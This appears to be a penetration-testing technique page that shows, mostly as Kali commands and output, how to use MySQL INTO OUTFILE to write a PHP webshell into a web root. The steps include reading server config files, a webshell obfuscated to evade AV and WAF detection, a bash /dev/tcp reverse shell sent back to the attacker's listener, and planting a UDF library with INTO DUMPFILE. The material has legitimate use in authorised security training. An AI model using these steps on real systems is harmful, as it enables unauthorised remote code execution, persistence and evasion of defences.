Skip to content
HackIndex logo

HackIndex

MySQL File Write and Webshell via INTO OUTFILE

3 min read Mar 26, 2026

SELECT ... INTO OUTFILE writes query output to a file on the MySQL server filesystem. With FILE privilege and a web server running on the same host, this writes a webshell directly to the web root and produces remote code execution without needing any other vulnerability. The file is written by the MySQL process user so the web root must be writable by that user. On misconfigured systems where MySQL runs as root or the web root is world-writable this technique works reliably.

Confirm FILE privilege is present and secure_file_priv is empty before attempting. A non-empty secure_file_priv restricts writes to a specific directory and the web root must be within or equal to that path for this technique to work.

Identify the Web Root

Read the web server configuration to find the document root before writing:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf');"
<VirtualHost *:80>
    DocumentRoot /var/www/html
</VirtualHost>
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/etc/nginx/sites-enabled/default');"

Write a PHP Webshell

Write a minimal PHP webshell to the identified web root:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT '<?php system($_GET[\"cmd\"]); ?>' INTO OUTFILE '/var/www/html/shell.php';"
Query OK, 1 row affected (0.01 sec)

Confirm the webshell is reachable and executes commands:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Use a Less Detectable Webshell

The single-parameter shell above is flagged by most AV and WAF signatures. Use a parameter-based approach with a less obvious variable name:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT '<?php @eval(base64_decode($_POST[\"d\"])); ?>' INTO OUTFILE '/var/www/html/info.php';"

Upgrade to a Reverse Shell

Use the webshell to execute a reverse shell back to your listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261'"

Use INTO DUMPFILE for Binary Files

INTO OUTFILE adds a newline at the end of each row which corrupts binary files. Use INTO DUMPFILE for writing binary content such as shared libraries for UDF exploitation:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT 0x[HEX_OF_BINARY] INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"

Writing binary files with INTO DUMPFILE is used in the UDF privilege escalation technique — covered on the next page.

Troubleshoot Write Failures

If the write fails with an error about the file existing, MySQL will not overwrite existing files. Use a different filename. If the error is about permissions, the MySQL process user cannot write to that directory. Check which directories are writable:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/var/www/html/index.php');" | head -3

If LOAD_FILE can read files from a directory, INTO OUTFILE can usually write to it — the same process user permissions apply to both. Use this to confirm writable paths before attempting the write.

References